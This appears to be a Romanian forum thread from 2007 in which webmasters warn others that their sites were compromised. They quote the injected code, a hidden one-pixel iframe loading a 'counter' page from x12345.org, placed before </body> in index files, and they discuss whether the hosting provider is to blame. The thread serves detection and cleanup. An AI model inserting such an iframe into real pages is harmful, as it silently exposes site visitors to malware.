Posibil HACK - verificati-va siteurile

In urma cu o luna, mai multe siteuri, unele chiar guvernamentale sau ale unor banci au fost "sparte".

Resurse:
Another Government Website Hacked - TrendLabs | Malware Blog - by Trend Micro
Dancho Danchev - Mind Streams of Information Security Knowledge: Syrian Embassy in London Serving Malware


Verificati sa nu aveti in codul sursa al paginilor voastre un iframe cu codul unui "counter" de la x12345.org.

Citat:

---

<iframe src='http://x12345.org/img/counter.php?out=1189360677' width='1' height='2'></iframe>

---

Eu am deja doua siteuri afectate. :( . Gazduite la romarg.

2 vinovati pot fi pentru asta:

1. firma de hosting, si atunci iti recomand una mai mare de pe afara si mai secure
2. Tu. Da am intalnit la un moment dat un fel de virus care afecta fisierele html din computerul meu. Asfel incat toate siteurile care le urcam sus contineau virusul. Noroc ca a fost detectat la timp si luate masuri.

1. Firma de hosting e destul de mare si cu experienta, as zice eu. Daca ai citit informatiile din linkurile puse de mine, ai vazut ca s-a intamplat si la case mai mari.

2. Nu cred, ca sunt eu de vina. Am antivirus pe calculator si nu prea scapa nimic. Fisierele din PC sunt intacte. Sunt modificate doar fisierele index.??? de pe server. Ieri am repus fisierele pune pe site si dupa cateva ore (3-4) erau modificate. Azi am luat-o de la capat, sa vad cat dureaza.

Am trimis un mail si la Romarg dar nu am primit inca raspuns ( e week-end :) ).


PS:
codul iframe este introdus in index inaintea liniei </body>, daca exista, altfel e ultima linie.

Au raspuns si cei de la hosting, au intrebat de fapt ce fisiere sunt afectate.
Le-am indicat cateva fisiere pe care nu le-am repus la loc, dar intre timp a evoluat putin treaba : mi-au inserat si o pagina in index, pagina :
www. promologo. info


Dar pare ca nu au legatura. siteul promologo . info e copiat cu httrack

Cod PHP:

---

<!-- Mirrored from www.promologo.info/KEY_RINGS/EUROLUX/ by HTTrack Website Copier/3.x [XR&CO'2005], Fri, 27 Apr 2007 07:16:39 GMT --> 


---

Ataşament 842

oare cand o sa se opreasca astia?:))

daca nu e de la tine din computer, atunci hostul e de cacat.

Teoretic nu poate modifica oricine fisierele siteului tau, virus sau haker.


Asa ca e clar ca serverul pe care e hostat are some security hole.